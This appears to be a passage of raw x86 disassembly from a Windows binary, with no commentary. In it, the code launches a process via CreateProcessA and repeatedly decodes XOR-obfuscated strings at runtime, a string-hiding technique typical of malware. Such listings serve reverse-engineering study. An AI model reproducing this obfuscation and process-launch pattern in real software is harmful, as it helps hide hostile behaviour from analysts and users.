mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077b6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x1b4]
cmp edx, 0x10
jb 0x4077fa
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0xe0]
cmp edx, 0x10
jb 0x407834
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40782a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x174]
cmp edx, 0x10
jb 0x40786e
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407864
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x4078a8
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40789e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0xac]
cmp edx, 0x10
jb 0x4078e2
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4078d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x407934
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40792a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
cmp dword [ebp - 0x19c], 0x10
lea eax, [ebp - 0x150]
push 0x44
push 0
lea esi, [ebp - 0x1b0]
cmovae esi, dword [ebp - 0x1b0]
push eax
call fcn.004a2550
add esp, 0xc
or dword [ebp - 0x124], 1
xor eax, eax
mov dword [ebp - 0x150], 0x44
mov word [ebp - 0x120], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x50]
movaps xmmword [ebp - 0x50], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4079bb
push 0xffffffffffffffff
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x4c]
call esi
cmp byte [0x4c08c7], 0
mov ecx, dword [0x4c08c0]
mov esi, dword [0x4c08c4]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], esi
je 0x407b17
xor edx, edx
mov dword [ebp - 4], edx
cmp edi, 2
jl 0x407af0
movaps xmm2, xmmword [0x4c0630]
mov eax, 5
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.6666666666666666]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x20], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x1c], xmm1
jmp 0x407b17
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x20], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 8
jl 0x407af0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407b35
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
movups xmm0, xmmword [0x4c0878]
mov eax, dword [0x4c08b8]
xor edx, edx
mov dword [ebp - 0x110], eax
mov ax, word [0x4c08bc]
mov word [ebp - 0x10c], ax
mov dword [ebp - 4], edx
lea esi, [edx + 5]
movups xmmword [ebp - 0x150], xmm0
movups xmm0, xmmword [0x4c0888]
movups xmmword [ebp - 0x140], xmm0
movups xmm0, xmmword [0x4c0898]
movups xmmword [ebp - 0x130], xmm0
movups xmm0, xmmword [0x4c08a8]
movups xmmword [ebp - 0x120], xmm0
cmp edi, 2
jl 0x407cf3
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0630]
movaps xmm3, xmmword [0x4c0660]
movaps xmm6, xmmword [str.::::]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x150]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x150], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x14c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x14c], xmm1
add edx, 8
cmp edx, 0x40
jl 0x407be0
mov dword [ebp - 4], edx
cmp edx, 0x46
jge 0x407d27
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x150], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x46
jl 0x407cf3
lea ecx, [ebp - 0x150]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407d50
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
lea eax, [ebp - 0xdc]
mov dword [ebp - 8], SysStringLen
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00409fb0
mov edx, dword [ebp - 0xac]
add esp, 0x10
cmp edx, 0x10
jb 0x407dce
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407dc4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c52
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x407e20
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407e16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c52
push edx
push ecx
call fcn.004a06de
add esp, 8
cmp byte [0x4c0917], 0
movq xmm0, qword [0x4c090c]
mov eax, dword [0x4c0914]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407f91
xor edx, edx
mov dword [ebp - 4], edx
cmp edi, 2
jl 0x407f60
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c090c]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x407f60
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407fb0
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x4c0908]
mov word [ebp - 6], ax
test ah, ah
je 0x408007
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x407fe0
lea ecx, [ebp - 6]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408022
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0x68]
push eax
push 0
call fcn.00409d00
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406450
cmp byte [0x4c0907], 0
movq xmm0, qword [0x4c08fc]
mov eax, dword [0x4c0904]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x408211
xor edx, edx
mov dword [ebp - 4], edx
cmp edi, 2
jl 0x4081e0
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c08fc]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x4081e0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408235
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
movups xmm0, xmmword [0x4c08c8]
mov ax, word [0x4c08f8]
xor edx, edx
mov word [ebp - 0x110], ax
mov dword [ebp - 4], edx
movups xmmword [ebp - 0x140], xmm0
movups xmm0, xmmword [0x4c08d8]
movups xmmword [ebp - 0x130], xmm0
movups xmm0, xmmword [0x4c08e8]
movups xmmword [ebp - 0x120], xmm0
cmp edi, 2
jl 0x4083d6
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0630]
movaps xmm3, xmmword [0x4c0660]
movaps xmm6, xmmword [str.::::]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
movd xmm5, esi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x140]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x140], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x13c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x13c], xmm1
add edx, 8
cmp edx, 0x30
jl 0x4082c3
mov dword [ebp - 4], edx
cmp edx, 0x32
jge 0x40840a
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x140], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x32
jl 0x4083d6
lea ecx, [ebp - 0x140]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408431
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
lea eax, [ebp - 0x188]
mov dword [ebp - 0xc4], SysStringLen
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.00409fb0
mov edx, dword [ebp - 0xac]
add esp, 0x10
cmp edx, 0x10
jb 0x4084b5
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4084ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c57
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x40850a
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408500
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c57
push edx
push ecx
call fcn.004a06de
add esp, 8
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
call fcn.00401290
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x40856a
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408560
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c57
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x40859e
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408594
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c57
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x4085e7
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4085dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c57
push edx
push ecx
call fcn.004a06de
add esp, 8
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408610
sub ecx, edx
lea eax, [ebp - 0x2d0]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
cmp byte [0x4c0927], 0
movq xmm0, qword [0x4c091c]
mov eax, dword [0x4c0924]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x4087a1
xor edx, edx
mov dword [ebp - 4], edx
cmp edi, 2
jl 0x408770
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c091c]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x408770
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4087c0
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x4c0918]
mov word [ebp - 6], ax
test ah, ah
je 0x408817
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x4087f0
lea ecx, [ebp - 6]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408832
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063f0
add esp, 0xc
lea ecx, [ebp - 0x90]
push ecx
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf4]
call fcn.00406450
cmp dword [ebp - 0xe0], 0x10
lea eax, [ebp - 0xf4]
mov edi, dword [ebp - 0xe4]
lea esi, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x94], 0x10
mov ecx, dword [ebp - 0x98]
cmovae esi, dword [ebp - 0xa8]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 4], esi
cmp edi, ecx
ja 0x40891d
test edi, edi
jne 0x4088c5
xor esi, esi
jmp 0x408920
movsx edx, byte [eax]
sub ecx, edi
mov dword [ebp - 8], ecx
inc ecx
add ecx, esi
mov dword [ebp - 0x1c], edx
sub ecx, esi
push ecx
push edx
push esi
call fcn.004a1b40
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40891d
push edi
push dword [ebp - 0xc4]
push esi
call fcn.00409c90
add esp, 0xc
test eax, eax
je 0x4089e7
mov edx, dword [ebp - 8]
inc esi
mov eax, dword [ebp - 4]
inc edx
add eax, edx
sub eax, esi
push eax
push dword [ebp - 0x1c]
push esi
call fcn.004a1b40
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x4088e6
or esi, 0xffffffff
lea ecx, [ebp - 0xf4]
call fcn.00401290
lea ecx, [ebp - 0x188]
call fcn.00401290
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x40896a
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408960
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c5c
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x4089b3
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4089a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c5c
push edx
push ecx
call fcn.004a06de
add esp, 8
